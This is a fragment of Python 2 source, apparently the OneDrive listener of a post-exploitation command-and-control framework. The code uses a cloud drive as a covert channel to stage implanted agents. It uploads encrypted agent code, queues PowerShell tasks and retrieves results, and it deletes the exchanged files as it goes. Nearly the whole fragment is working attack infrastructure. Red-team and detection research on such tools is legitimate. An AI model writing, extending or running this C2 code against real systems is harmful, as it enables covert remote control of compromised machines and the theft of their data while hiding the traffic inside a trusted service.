if token['update']:
self.mainMenu.listeners.update_listener_options(listener_name, "RefreshToken", token['refresh_token'])
token['update'] = False
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder))
for item in search.json()['children']:
try:
reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name'])
if not reg:
continue
agent_name, stage = reg.groups()
if stage == '1':
print "Stage 1"
dispatcher.send("[*] Downloading %s/%s, %d bytes" % (staging_folder, item['name'], item['size']), sender="listeners/onedrive")
content = s.get(item['@microsoft.graph.downloadUrl']).content
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
dispatcher.send("[*] Uploading %s/%s/%s_2.txt, %d bytes" % (base_folder, staging_folder, agent_name, len(return_val)), sender="listeners/onedrive")
s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val)
dispatcher.send("[*] Deleting %s/%s" % (staging_folder, item['name']), sender="listeners/onedrive")
s.delete("%s/drive/items/%s" % (base_url, item['id']))
if stage == '3':
print "Stage 3"
dispatcher.send("[*] Downloading %s/%s, %d bytes" % (staging_folder, item['name'], item['size']), sender="listeners/onedrive")
content = s.get(item['@microsoft.graph.downloadUrl']).content
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
agent_token = renew_token(client_id, token['refresh_token'])
agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'],
agent_token['refresh_token'], redirect_uri, lang))
enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)
dispatcher.send("[*] Uploading %s/%s/%s_4.txt, %d bytes" % (base_folder, staging_folder, agent_name, len(enc_code)), sender="listeners/onedrive")
s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code)
dispatcher.send("[*] Deleting %s/%s" % (staging_folder, item['name']), sender="listeners/onedrive")
s.delete("%s/drive/items/%s" % (base_url, item['id']))
except Exception, e:
print(traceback.format_exc())
agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name)
for agent_id in agent_ids:
task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key, update_lastseen=False)
if task_data:
try:
r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id))
if r.status_code == 200:
task_data = r.content + task_data
dispatcher.send("[*] Uploading agent tasks for %s, %d bytes" %
(agent_id, len(task_data)), sender="listeners/onedrive")
r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = task_data)
except Exception, e:
dispatcher.send("[!] Error uploading agent tasks for %s, %s" % (agent_id, e))
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder))
for item in search.json()['children']:
try:
agent_id = item['name'].split(".")[0]
if not agent_id in agent_ids:
dispatcher.send("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']), sender="listeners/onedrive")
s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE")
s.delete("%s/drive/items/%s" % (base_url, item['id']))
continue
try:
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ")
except: #sometimes no ms for some reason...
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ")
seen_time = helpers.utc_to_local(seen_time)
self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time)
if(item['size'] > 1): #only need to download results if there's actually something there
dispatcher.send("[*] Downloading results from %s/%s, %d bytes" % (results_folder, item['name'], item['size']), sender="listeners/onedrive")
r = s.get(item['@microsoft.graph.downloadUrl'])
self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options, update_lastseen=False)
dispatcher.send("[*] Deleting %s/%s" % (results_folder, item['name']), sender="listeners/onedrive")
s.delete("%s/drive/items/%s" % (base_url, item['id']))
except Exception, e:
dispatcher.send("[!] Error handling agent results for %s, %s" % (item['name'], e), sender="listeners/onedrive")
except Exception, e:
print(traceback.format_exc())
s.close()
def start(self, name=''):
"""
Start a threaded instance of self.start_server() and store it in the
self.threads dictionary keyed by the listener name.
"""
listenerOptions = self.options
if name and name != '':
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(3)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
else:
name = listenerOptions['Name']['Value']
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(3)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
def shutdown(self, name=''):
"""
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
if name and name != '':
print helpers.color("[!] Killing listener '%s'" % (name))
self.threads[name].kill()
else:
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
self.threads[self.options['Name']['Value']].kill()